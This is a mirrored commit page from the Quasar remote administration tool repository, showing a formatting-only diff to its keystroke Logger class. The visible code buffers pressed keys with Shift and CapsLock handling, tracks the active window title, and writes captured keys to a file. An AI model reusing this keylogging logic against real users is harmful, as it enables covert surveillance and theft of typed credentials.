mirror of https://github.com/quasar/Quasar.git
Code formatting
Readability improvements to follow the format of the rest of the code.
This commit is contained in:
parent
437747a9df
commit
4b3216267e
|
@ -79,7 +79,7 @@ private static bool CapsLock
|
||||||
public Logger(double flushInterval)
|
public Logger(double flushInterval)
|
||||||
{
|
{
|
||||||
Instance = this;
|
Instance = this;
|
||||||
_hWndLastTitle = "";
|
_hWndLastTitle = string.Empty;
|
||||||
|
|
||||||
WriteFile();
|
WriteFile();
|
||||||
|
|
||||||
|
@ -170,20 +170,20 @@ private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs
|
||||||
if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on
|
if (ShiftKey && CapsLock) //If the state of Shiftkey is down and Capslock is toggled on
|
||||||
{
|
{
|
||||||
_keyBuffer.Append(FromKeys(i, true, true));
|
_keyBuffer.Append(FromKeys(i, true, true));
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
if (ShiftKey) //If only the Shiftkey is pressed
|
else if (ShiftKey) //If only the Shiftkey is pressed
|
||||||
{
|
{
|
||||||
_keyBuffer.Append(FromKeys(i, true, false));
|
_keyBuffer.Append(FromKeys(i, true, false));
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
if (CapsLock) //If only Capslock is toggled on
|
else if (CapsLock) //If only Capslock is toggled on
|
||||||
{
|
{
|
||||||
_keyBuffer.Append(FromKeys(i, false, true));
|
_keyBuffer.Append(FromKeys(i, false, true));
|
||||||
return;
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
_keyBuffer.Append(FromKeys(i, false, false));
|
||||||
}
|
}
|
||||||
|
|
||||||
_keyBuffer.Append(FromKeys(i, false, false));
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -225,7 +225,7 @@ private void WriteFile()
|
||||||
if (string.IsNullOrEmpty(_keyBuffer.ToString()))
|
if (string.IsNullOrEmpty(_keyBuffer.ToString()))
|
||||||
sw.Write(_keyBuffer);
|
sw.Write(_keyBuffer);
|
||||||
|
|
||||||
_hWndLastTitle = "";
|
_hWndLastTitle = string.Empty;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
sw.Write(_keyBuffer);
|
sw.Write(_keyBuffer);
|
||||||
|
@ -251,7 +251,7 @@ private string GetActiveWindowTitle()
|
||||||
|
|
||||||
string title = sbTitle.ToString();
|
string title = sbTitle.ToString();
|
||||||
|
|
||||||
return title != "" ? title : null;
|
return title != string.Empty ? title : null;
|
||||||
}
|
}
|
||||||
|
|
||||||
private IntPtr GetActiveKeyboardLayout()
|
private IntPtr GetActiveKeyboardLayout()
|
||||||
|
|
Loading…
Reference in New Issue